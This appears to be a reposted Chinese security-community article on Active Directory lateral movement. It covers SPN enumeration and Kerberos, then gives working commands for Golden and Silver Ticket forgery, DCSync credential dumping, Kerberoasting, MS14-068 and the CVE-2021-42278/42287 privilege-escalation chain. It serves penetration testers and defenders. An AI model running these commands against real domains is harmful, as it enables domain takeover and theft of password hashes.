原文始发于先知社区(je1emy):内网漫游之Kerberos协议利用加经典漏洞利用总结
内网漫游之Kerberos协议利用加经典漏洞利用总结
在拿下某台主机权限后,常常主机会处在一个域环境中,而接下来至关重要的就是如何在内网中横向移动,拿下域内其他主机权限乃至域控权限,而本文就是对域内渗透的一个总结,设计到了Windows安全协议Kerberos,以及常见的一些域内提权用的漏洞,域内渗透用的工具,相关资料可以在公众号:剑南道极客,后台发送消息获取。
1.SPN(Service Principal Names)是什么?
服务主体名称(Service Principal Names)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称。Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联。如果在整个林中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN,换言之,SPN是客户机发起请求的那个服务的唯一标示符。
2.为什么要设计SPN?
显然,在一个域环境或者一个域森林中,可能有多个计算机运行着多个服务,Kerberos用于实现认证服务,作用于client请求server的过程,这个server的级别指的是服务级别,即数据库服务,远程桌面服务等,显然不同主机上可能有相同作用的服务,为了区别这些作用在不同主机上的服务,引入了SPN这一唯一标识符的机制来确定client访问的server的唯一性。
3.怎么用SPN?
SPN分为两种,根据注册用户类型分为机器用户的、域用户的:
1、注册在AD(Active Dictionary)活动目录上机器用户(Computers)下,当一个服务的权限为Local System或Network Service,则SPN注册在机器帐户(Computers)下
2、另一种注册在域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下
- ### 机器用户与域用户关系
关于机器账户和域用户,需要知道的是,当一台计算机名为win7的主机以域内test1用户的账号登入域时,我们在DC处可以看到
在域控制器的活动目录下的Computers下会自动记录下WIN7$,WIN7$即为机器用户,
而它是隶属于Users类的,所以有这样的关系,机器用户是computer 类的实例,而computer 类是user 类的子类,域用户是user类的实例,子类继承了父类的所有属性,因此域用户该有的属性,机器用户都有,因此本质上来说,机器用户就是一种域用户。
既然机器用户就是域用户,那么当已经获取到域内一台机器的权限但是不知道域用户时,就可以通过这个机器用户来进入域,而当以system权限运行时就是以机器用户登陆,从下图可以看出:
机器用户名为win7,当以win7下99635用户(管理员权限)登陆时,查询域内用户是失败的,即未登陆到域内,而以system权限运行时,成功查询域内用户,即登录到了域内。而提权为系统权限的方法,推荐使用PsExec.exe(Windows官方工具),直接运行以下命令:
psexec.exe -i -s powershell.exe "whoami"
-i 表示交互式,-s表示以系统权限运行。
- ### SPN格式
在 SPN 的语法中存在四种元素,两个必须元素和两个额外元素,其中 <service class=””> 和 <host> 为必须元素:</host></service>
1.SPN格式:<service class>/<host>:<port>/<service name>
<service class>:标识服务类的字符串,可以理解为服务的名称,常见的有WWW、MySQL、SMTP、MSSQL等;必须元素
<host>:服务所在主机名,host有两种形式,FQDN(win7.xie.com)和NetBIOS(win7)名;必须元素
<port>:服务端口,如果服务运行在默认端口上,则端口号(port)可以省略;额外元素
<service name>:服务名称,可以省略;额外元素
2.一些服务的SPN示例:
* MSSQLSvc/adsmsSQLAP01.adsecurity.org:1433
* ExchangeMDB/adsmsEXCAS01.adsecurity.org
* TERMSERV/adsmsEXCAS01.adsecurity.org
* WSMAN/adsmsEXCAS01.adsecurity.org
* ……
3. 常见的服务主体名称和对应的服务
* AcronisAgent: 针对Acronis备份和数据恢复软件
* Afpserver:Apple归档协议
* AgpmServer:Microsoft高级策略管理(AGPM)
* ExchangeAB:Exchange通讯簿服务
* ExchangeRFR:交换通讯簿服务
* ExchangeMDB:RPC客户端访问服务器角色
* MSSQLSvc:Microsoft SQL Server
* MSOMHSvc:Microsoft 系统中心运营经理管理服务器
* MSOMSdkSvc:Microsoft System Center Operations Manager 管理服务器
* MSServerCluster:Windows集群服务器
* MSServerClusterMgmtAPI:集群的API需要此SPN才能使用Kerberos向服务器进行验证
* MSClusterVirtualServer:Windows 集群服务器
* TERMSRV:Microsoft 远程桌面协议服务
* WSMAN:Windows远程管理服务
* ……
4.SPN可以做什么?
在对内网域环境主机的服务进行探测时,一种方法是采用端口扫描,但基于网络连接的端口扫描会留下记录,且可能会漏报,而针对SPN的服务探测可以精准探测。基于spn的服务探测可以采用系统自带的setspn.exe或者是powerview.ps1的powershell脚本,均在powershell中运行即可。
- 运行命令格式(在powershell下):
setspn.exe -参数
import-module c:\powerview.ps1; get-netcomputer
- 下面给出setspn和powerview.ps1中常用的命令
- setspn.exe
setspn -T test -Q */* 查找test域中的所有spn信息
setspn -T test -Q */* | findstr "MSSQLSvc" 查找test域中的所有mssql服务的spn信息
2.powerview.ps1
Get-NetDomain: 获取当前用户所在域的名称
Get-NetUser: 获取所有用户的详细信息
Get-NetDomainController: 获取所有域控制器的信息
Get-NetComputer: 获取域内所有机器的详细信息
Get-NetOU: 获取域中的OU信息
Get-NetGroup: 获取所有域内组和组成员信息
Get-NetFileServer: 根据SPN获取当前域使用的文件服务器信息
Get-NetShare: 获取当前域内所有网络共享信息
Get-NetSession: 获取指定服务器的会话
Get-NetRDPSession: 获取指定服务器的远程连接
Get-NetProcess: 获取远程主机的进程
Get-UserEvent: 获取指定用户的日志
Get-ADObiect: 获取活动目录的对象
Get-NetGPO: 获取域内所有的组策略对象
Get-DomainPolicy: 获取域默认策略或域控制器策略
Invoke-UserHunter: 获取域用户登录的计算机信息及该用户是否有本地管理员权限
Invoke-ProcessHunter: 通过查询域内所有的机器进程找到特定用户
Invoke-UserEvenHunter: 根据用户日志查询某域用户登录过哪些域机器。
运行powerview.ps1可能遇到的问题,powershell报错说禁止在此系统上执行脚本,可以通过修改执行策略来解决
Restricted 执行策略不允许任何脚本运行。
AllSigned 和 RemoteSigned 执行策略可防止 Windows PowerShell 运行没有数字签名的脚本。
通过在powershell中执行命令 get-executionpolicy,查看当前采用的执行策略
以管理员身份打开PowerShell 输入 set-executionpolicy remotesigned
Kerberos协议及其通信过程
这里我们来简单的了解Kerberos协议及其通信过程
AS-REP:客户端向KDC中心发起验证请求,请求内容内容为客户端Hash加密的时间戳等数据
AS-REQ:KDC响应请求,使用以存储的客户端Hash解密AS_REP数据包,如果验证成功,那么就返回使用krbtgt加密的TGT票据,TGT内包含PAC,PAC包含客户端所在的组,sid等
TGS-REP:客户端拿到TGT后向KDC发起针对特定服务的TGS-REQ请求
TGS-REQ:KDC接受到请求后,使用krbtgt hash进行解密,如果结果正确,那么就返回使用服务hash加密的TGS票据(这一步不管客户端有无访问服务的权限,只要TGT正确,就返回TGS)
AS-REP:客户端拿着TGS请求特定服务
AS-REQ:服务使用自己的hash解密TGS票据,如果解密正确,就拿着PAC去KDC问客户端有无权限,域控解密PAC,查询客户端的ACL并将结果返回给服务端,服务端根据权限来判断是否返回数据给客户端。
PAC(Privilege Attribute Certificate):
PAC是为了解决客户机是否具有访问某项服务的权限而引入的,因为在原本的机制中,无论client是否具有访问某项服务的权限,在认证过程中均可以访问到该服务,所以必须引入PAC
PAC包含用户的sid,用户所在的组。
在第6步中服务使用自己的hash解密TGS票据。如果解密正确,就拿着PAC去KDC询问用户有没有访问权限,域控解密PAC,获取用户的sid,以及所在的组,并判断用户是否有访问服务的权限,(有些服务并没有验证PAC这一步,这也是白银票据能成功的前提,因为就算拥有用户hash,可以制作TGS,也不能制作PAC,PAC当然也验证不成功,但是有些服务不去验证PAC,这是白银票据成功的前提)就允许用户访问。
特别说明的是,PAC对于用户和服务全程都是不可见的。只有KDC能制作和查看PAC。
Kerberos认证协议的安全问题
黄金票据:
黄金票据的问题在于当已经获取到域控的权限时,即掌握了krbtgt用户的hash值,可以伪造一个TGT(TGT中包含了PAC),通过这个TGT可以获取到域控权限,访问域内任何服务,常用来权限维持。黄金票据利用的前提有:
域的sid ,通过mimikatz的lsadump::lsa /patch获得,注意是域的SID而不是域内用户的SID
域的name
域用户krbtgt的NTLM hash或者ase 256
黄金票据的特点:
1.域控制器中的KDC服务不验证TGT中的用户帐户,直到TGT超过20分钟,这意味着攻击者可以使用禁用和删除的帐户,甚至是在Active Directory中不存在的虚拟帐户。
微软的MS-KILE解释: Kerberos V5不提供对TGS请求的帐户撤销检查,只要TGT有效,即使该帐户已被删除,TGT更新和服务票据也可以发布。KILE提供了一个可以将利用时间限制在较短的时间内(20分内)。当TGT大于20分钟时,KILE KDC需要在域中检查账户。
2.由于在域控制器上由KDC服务生成的域设置了Kerberos策略,如果提供票据,则系统信任票据的有效性。这意味着,即使域策略声明Kerberos登录票据(TGT)只有10小时有效,如果票据声明有效期为10 年,那么也会信任票据的有效性期为10年。
3.该KRBTGT帐户密码从不更改和直到KRBTGT密码被更改(两次),攻击者可以创建黄金票据。请注意,即使伪造用户更改其密码,创建用于模拟用户的Golden Ticket仍然存在。
4.它绕过了SmartCard身份验证要求,因为它绕过了DC在创建TGT之前执行的常规验证。
5.这个精心创建的TGT要求攻击者拥有Active Directory域的KRBTGT密码哈希值
6.KRBTGT NTLM哈希可用于生成一个有效的TGT(使用RC4)模拟任何用户访问Active Directory中的任何资源。
7.在主机上都可以生成和使用黄金票据(TGT),即使没有加入域也是如此。只要网络可以访问域。
8.用于从AD森林中的DC获取有效的TGS票据,并提供一个坚持在一切域访问所有的主机的好办法。
而利用黄金票据常用到的工具是mimikatz,先在域控服务器上运行以下命令获得hash:
mimikatz# log
mimikatz# privilege::debug 必须以管理员权限运行
mimikatz# sekurlsa::logonpasswords 获取所有登陆密码hash
mimikatz# lsadump::dcsync/domain:test.com /all /csv获取所有域用户
mimikatz# lsadump::dcsync /domain:test.com /user:test 指定获取某个用户的hash
获取黄金票据即指定用户为krbtgt
伪造的用户设置为god,执行(采用了krbtgt用户的AES256加密后的hash,也可以用NTLM):
mimikatz #kerberos::golden /domain:test.com /sid:S-1-5-21-4155807533-921486164-2767329826
/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god
/ticket:gold.kirbi
生成文件gold.kirbi
伪造Golden Ticket获得域控权限:
mimikatz# kerberos::ptt c:\test\gold.kirbi
也可以选择用 /ptt (pash the ticket)代替/ticket则会将生成ticket和导入在一步执行。
当导入黄金票据后使用mimikatz的命令:
mimikaze# lsadump::dcsync /domain:test.com /all
原本在以普通用户登陆时,是无法利用dcsync的,而在导入黄金票据后可以看到,已经以域控win2008权限运行dcsync了。
白银票据:
白银票据利用方法与黄金票据类似,区别就在于白银票据伪造的是TGS票据,所有只能访问特定服务
kerberos::golden /domain:test.com /sid:S-1-5-21-652679085-3170934373-4212321231 /target:WIN2008.com /service:cifs /rc4:7c64e7ebf46b9515c56b2dd522d21c1c /user:administrator /ptt
结合前面提到的SPN,就可以利用特定主机hash(/rc4)伪造一个访问特定主机(/target)上的特定服务(/service)的TGS票据,利用前提是知道服务主机的HASH。
Kerberoast (Kerberos TGS服务票据(Service Ticket)离线爆破):
与白银票据一样的针对TGS进行攻击的还有kerberoast攻击,它的原理在于不论用户是否有对服务的访问权限,只要有TGT,用户可以申请任意的TGS,接着通过 爆破TGS-REP ,在TGS_REP的过程中用户将会收到由目标服务实例的NTLM hash加密生成的TGS(service ticket),加密算法为RC4-HMAC,如果获得这个TGS,我们可以尝试穷举口令,模拟加密过程,进行破解。
搭配SPN的利用方法:
由于域内的任何用户都可以向域内的任何服务请求TGS,知道相关服务的SPN后,可以用SPN申请一张票据 ST(TGS Ticket),如果Kerberos 协议设置票据为 RC4加密,则可通过爆破的方式得到服务对应用户的密码。
使用以下PowerShell命令来请求RC4加密的Kerberos TGS服务票证:
1.请求指定TGS
$SPNName = 'VNC/DC1.test.com'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
2.请求所有TGS
Add-Type -AssemblyName System.IdentityModel setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
执行后输入klist查看内存中的票据,可找到获得的TGS
3.导出TGS
使用minikatz:
kerberos::list /export
或者使用empire的kerberoast模块或者使用PowerSploit中的Invoke-Kerberoast组件
4.破解
使用tgsrepcrackck.py开始离线密码破解,或者使用kirbi2john.py从原始票据中提取可破解的哈希格式 。
再结合前面的注册SPN,有没有什么想法呢?显然,当我们有了注册SPN的权限(常常为域控)时,想知道域内其他用户的密码,我们可以通过在指定用户下注册某项服务的SPN,然后申请TGS,最后爆破TGS-REP得到的TGS,离线爆破获得该用户的密码
MS14-068:
就像前面提到的Kerberos解决了who am i,而引入PAC后解决了what can i do,那么针对PAC的攻击是否可以让用户达到可以do everything呢?MS14-068就是针对PAC的一个高危漏洞,是密钥分发中心(KDC)服务中的Windows漏洞,它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证。
利用MS14-068只需要以下几个前提:
1.域内普通用户的SID,用户名,该用户密码,域控地址
2.机器未打KB3011780补丁(可以通过以下命令查询):
systeminfo |findstr "3011780"
或者systeminfo
利用工具MS14-068.exe或者msf等框架中集成的利用程序
`#MS14-068.exe -u 域用户@test.com -p 域用户密码 -s 域用户SID -d 域控ip`
CVE-2021-42287+CVE-2021-42278 :
首先必须要了解一个前置知识:
S4U2self:
S4U2self允许服务代表用户申请获得针对服务自身的TGS,它适用于服务可以获得用户的授权(可转发的用户TGS票据),然后将其用于后期的认证(主要是后期的s4u2proxy),这是为了在用户以不使用 Kerberos 的方式对服务进行身份验证的情况下使用。这里面很重要的一点是服务代表用户获得针对服务自身的kerberos票据这个过程,服务是不需要用户的凭据的,并且在申请获得TGS前,必须首先获得一个TGT。
CVE-2021-42278:
默认常识情况加入域的主机所创建的机器账户应该由$
结尾,但存在漏洞的情况下,DC并没有一个对于sAMAccountName
属性的验证过程,所以我们利用ms-ds-machineaccountquota
,这一默认的特性就可以创建没有$
结尾的机器账户。
而CVE-2021-42287+CVE-2021-42278漏洞的原理就是,在文章开始提到的机器用户本身也是域内用户,所以当域内普通用户添加一个机器账户时,将名字改为DC(不加$),此时用这个账户去申请TGT,TGT的请求主体中PAC的权限是这个机器用户的低权限,然后再将名字改为其他,此时利用S4U2self代替域管用户申请一个访问自身的TGS,TGS这时会去寻找TGT请求主体中的用户,由于已经改名找不到,会在用户名后加$,即DC$作为服务主体,这时就可以获得一个域管高权限。
主要步骤分为以下几步:
- 添加机器账户在powershell中运行的
import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount TestSPN -Domain xx.xx -DomainController xx.xx.xx(ip地址) -Verbose
这里DomainController 在复现时,采用了IP地址,如果用的全限定域名(fully qualified domain name,FQDN),可能会报LDAP协议错误,这是因为无法正确的解析地址,采用IP地址即可。
2、清除新添加的机器账户的SPN信息
Import-Module .\powerview.ps1
Set-DomainObject "CN=TestSPN,CN=Computers,DC=xxx,DC=xxx" -Clear 'serviceprincipalname' -Verbose
注意这里的DC=xxx,DC=xxx,填写格式为,test.com域则第一个填test,第二个填com.
3、重设机器名称为域控制器的机器账户名(不加$)
Set-MachineAccountAttribute -MachineAccount TestSPN -Value "xxx" -Attribute samaccountname -Verbose
4、Request TGT (请求TGT)
Kekeo项目地址:https://github.com/gentilkiwi/kekeo
tgt::ask /user:sql /domain:warsec.com /password:123admiN@
5、Change Machine Account samaccountname(改回原来属性)
Set-MachineAccountAttribute -MachineAccount TestSPN -Value "TestSPN" -Attribute samaccountname -Verbose
6、Request S4U2self(获取票据)
tgs::s4u /tgt:[email protected][email protected] /user:administrator /service:cifs/dc.warsec.com
7、获取 kbrtgt 用户的 NTLM Hash
mimikatz# kerberos::ptt tgs.kirbi
mimikatz# lsadump::dcsync /user:x\krbtgt /domain:x.x /dc:x.x.x
源码级别的分析参照evilash大师傅的分析,以下链接:
[解析CVE-2021-42287与CVE-2021-42278 – 跳跳糖 (tttang.com)]https://tttang.com/archive/1380/–[evilash]